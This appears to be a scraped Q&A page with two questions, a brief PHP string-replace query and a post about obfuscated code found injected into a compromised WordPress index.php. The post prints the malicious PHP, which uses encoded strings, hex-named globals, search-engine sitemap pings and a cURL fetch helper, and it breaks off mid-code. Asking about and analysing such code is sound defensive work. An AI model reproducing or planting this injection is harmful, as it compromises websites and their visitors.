skip to Main Content
author
187 views
3 votes

How to replace string in php?

I need to replace with space if any character start from B01 to B99 letter and L01 to L99 in

author
274 views
1 vote

Strange php code appeared after wordpress was compromised

This code seemed to have appeared at the top of index.php after wordpress was compromised:
<?php $O0_OO00__O=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");$OO__O000_O=$O0_OO00__O[42].$O0_OO00__O[63].$O0_OO00__O[39].$O0_OO00__O[31].$O0_OO00__O[10].$O0_OO00__O[65].$O0_OO00__O[31].$O0_OO00__O[13].$O0_OO00__O[10].$O0_OO00__O[56].$O0_OO00__O[0].$O0_OO00__O[5].$O0_OO00__O[13].$O0_OO00__O[31].$O0_OO00__O[5].$O0_OO00__O[13].$O0_OO00__O[40];$OO00_O__0O=$O0_OO00__O[45].$O0_OO00__O[13].$O0_OO00__O[13].$O0_OO00__O[44].$O0_OO00__O[10].$O0_OO00__O[3].$O0_OO00__O[60].$O0_OO00__O[63].$O0_OO00__O[39].$O0_OO00__O[34].$O0_OO00__O[10].$O0_OO00__O[43].$O0_OO00__O[60].$O0_OO00__O[31].$O0_OO00__O[53].$O0_OO00__O[55];$O0_0OO_O0_=$O0_OO00__O[3].$O0_OO00__O[21].$O0_OO00__O[40].$O0_OO00__O[31].$O0_OO00__O[62].$O0_OO00__O[58].$O0_OO00__O[10].$O0_OO00__O[34].$O0_OO00__O[31].$O0_OO00__O[56].$O0_OO00__O[0].$O0_OO00__O[34].$O0_OO00__O[31];$OO_0_OO00_=$O0_OO00__O[65].$O0_OO00__O[59].$O0_OO00__O[60].$O0_OO00__O[5].$O0_OO00__O[56].$O0_OO00__O[0].$O0_OO00__O[46].$O0_OO00__O[44].$O0_OO00__O[53].$O0_OO00__O[31].$O0_OO00__O[40].$O0_OO00__O[40];$O___00O0OO=$O0_OO00__O[42].$O0_OO00__O[63].$O0_OO00__O[39].$O0_OO00__O[31].$O0_OO00__O[10].$O0_OO00__O[31].$O0_OO00__O[15].$O0_OO00__O[63].$O0_OO00__O[40].$O0_OO00__O[13].$O0_OO00__O[40];$O00O_O_0O_=$O0_OO00__O[56].$O0_OO00__O[60].$O0_OO00__O[53].$O0_OO00__O[39].$O0_OO00__O[10].$O0_OO00__O[40].$O0_OO00__O[31].$O0_OO00__O[13].$O0_OO00__O[0].$O0_OO00__O[44].$O0_OO00__O[13];$OO00___O0O=$O0_OO00__O[44].$O0_OO00__O[53].$O0_OO00__O[31].$O0_OO00__O[65].$O0_OO00__O[10].$O0_OO00__O[40].$O0_OO00__O[44].$O0_OO00__O[39].$O0_OO00__O[63].$O0_OO00__O[13];$OO_0_O_00O=$O0_OO00__O[56].$O0_OO00__O[60].$O0_OO00__O[53].$O0_OO00__O[39].$O0_OO00__O[10].$O0_OO00__O[56].$O0_OO00__O[39].$O0_OO00__O[0].$O0_OO00__O[40].$O0_OO00__O[31];$O0_O_00_OO=$O0_OO00__O[40].$O0_OO00__O[13].$O0_OO00__O[53].$O0_OO00__O[10].$O0_OO00__O[40].$O0_OO00__O[44].$O0_OO00__O[39].$O0_OO00__O[63].$O0_OO00__O[13];$O_0O__OO00=$O0_OO00__O[56].$O0_OO00__O[60].$O0_OO00__O[53].$O0_OO00__O[39].$O0_OO00__O[10].$O0_OO00__O[63].$O0_OO00__O[5].$O0_OO00__O[63].$O0_OO00__O[13];$O00O_0O_O_=$O0_OO00__O[56].$O0_OO00__O[60].$O0_OO00__O[53].$O0_OO00__O[39].$O0_OO00__O[10].$O0_OO00__O[31].$O0_OO00__O[15].$O0_OO00__O[31].$O0_OO00__O[56];$O__0O0O_O0=$O0_OO00__O[21].$O0_OO00__O[53].$O0_OO00__O[53].$O0_OO00__O[21].$O0_OO00__O[55].$O0_OO00__O[10].$O0_OO00__O[44].$O0_OO00__O[0].$O0_OO00__O[44];$O0O___0OO0=$O0_OO00__O[50].$O0_OO00__O[21].$O0_OO00__O[53].$O0_OO00__O[10].$O0_OO00__O[34].$O0_OO00__O[60].$O0_OO00__O[46].$O0_OO00__O[44];$O__O_O00O0=$O0_OO00__O[63].$O0_OO00__O[40].$O0_OO00__O[10].$O0_OO00__O[21].$O0_OO00__O[53].$O0_OO00__O[53].$O0_OO00__O[21].$O0_OO00__O[55];$O___0O0O0O=$O0_OO00__O[44].$O0_OO00__O[53].$O0_OO00__O[63].$O0_OO00__O[5].$O0_OO00__O[13].$O0_OO00__O[10].$O0_OO00__O[53];$O000_O_O_O=$O0_OO00__O[60].$O0_OO00__O[5].$O0_OO00__O[39].$O0_OO00__O[63].$O0_OO00__O[5].$O0_OO00__O[25];$O0OO___O00=$O0_OO00__O[40].$O0_OO00__O[13].$O0_OO00__O[53].$O0_OO00__O[44].$O0_OO00__O[0].$O0_OO00__O[40];$O00_OO_0O_=$O0_OO00__O[56].$O0_OO00__O[0].$O0_OO00__O[60].$O0_OO00__O[5].$O0_OO00__O[13];$O0O0_O_0_O=$O0_OO00__O[46].$O0_OO00__O[34].$O0_OO00__O[9];function O00O___O0O($googleUrl,$O_O_0_O0O0,$params){$O_O0_00OO_='https://%s/ping?sitemap=%s%s/%s';$O_0OO00_O_=sprintf($O_O0_00OO_,$googleUrl,$params['protocol'],$params['server_domain'],$O_O_0_O0O0);$O00_O0OO__=OO__000OO_($O_0OO00_O_);if(isset($_REQUEST['st'])){${"x47x4cx4fx42x41x4cx53"}["x4fx30x4fx5fx5fx5fx30x4fx4fx30"]($O_0OO00_O_);${"x47x4cx4fx42x41x4cx53"}["x4fx30x4fx5fx5fx5fx30x4fx4fx30"]($O00_O0OO__);die();}$OO__00OO_0='google';$O0_0O_O_O0='success';$O_O_OO00_0='failed';if(${"x47x4cx4fx42x41x4cx53"}["x4fx30x4fx4fx5fx5fx5fx4fx30x30"]($O00_O0OO__,$OO__00OO_0)!=false){die($O0_0O_O_O0);}else{$O_O0_00OO_='http://%s/ping?sitemap=%s%s/%s';$O_0OO00_O_=sprintf($O_O0_00OO_,$googleUrl,$params['protocol'],$params['server_domain'],$O_O_0_O0O0);$O00_O0OO__=OO__000OO_($O_0OO00_O_);if(${"x47x4cx4fx42x41x4cx53"}["x4fx30x4fx4fx5fx5fx5fx4fx30x30"]($O00_O0OO__,$OO__00OO_0)!=false){die($O0_0O_O_O0);}die($O_O_OO00_0);}}function OO__000OO_($url,$O0OO_00_O_='',$O00O_0_O_O=''){if($O0OO_00_O_==''){$OO_0_OO0_0=@${"x47x4cx4fx42x41x4cx53"}["x4fx4fx5fx5fx4fx30x30x30x5fx4f"]($url);if($OO_0_OO0_0){return $OO_0_OO0_0;}}$OO0_OO_00_=${"x47x4cx4fx42x41x4cx53"}["x4fx5fx30x4fx5fx5fx4fx4fx30x30"]();${"x47x4cx4fx42x41x4cx53"}["x4fx30x30x4fx5fx4fx5fx30x4fx5f"]($OO0_OO_00_,CURLOPT_URL,$url);${"x47x4cx4fx42x41x4cx53"}["x4fx30x30x4fx5fx4fx5fx30x4fx5f"]($OO0_OO_00_,CURLOPT_USERAGENT,$O00O_0_O_O);${"x47x4cx4fx42x41x4cx53"}["x4fx30x30x4fx5fx4fx5fx30x4fx5f"]($OO0_OO_00_,CURLOPT_RETURNTRANSFER,1);${"x47x4cx4fx42x41x4cx53"}["x4fx30x30x4fx5fx4fx5fx30x4fx5f"]($OO0_OO_00_,CURLOPT_TIMEOUT,20);${"x47x4cx4fx42x41x4cx53"}["x4fx30x30x4fx5fx4fx5fx30x4fx5f"]($OO0_OO_00_,CURLOPT_FRESH_CONNECT,TRUE);if($O0OO_00_O_!=''){${"x47x4cx4fx42x41x4cx53"}["x4fx30x30x4fx5fx4fx5fx30x4fx5f"]($OO0_OO_00_,CURLOPT_POST,1);if(${"x47x4cx4fx42x41x4cx53"}["x4fx5fx5fx4fx5fx4fx30x30x4fx30"]($O0OO_00_O_)){${"x47x4cx4fx42x41x4cx53"}["x4fx30x30x4fx5fx4fx5fx30x4fx5f"]($OO0_OO_00_,CURLOPT_POSTFIELDS,${"x47x4cx4fx42x41x4cx53"}["x4fx4fx30x30x5fx4fx5fx5fx30x4f"]($O0OO_00_O_));}}$OO_0_OO0_0=${"x47x4cx4fx42x41x4cx53"}["x4fx30x30x4fx5fx30x4fx5fx4fx5f"]($OO0_OO_00_);${"x47x4cx4fx42x41x4cx53"}["x4fx4fx5fx30x5fx4fx5fx30x30x4f"]($OO0_OO_00_);return

Back To Top
Search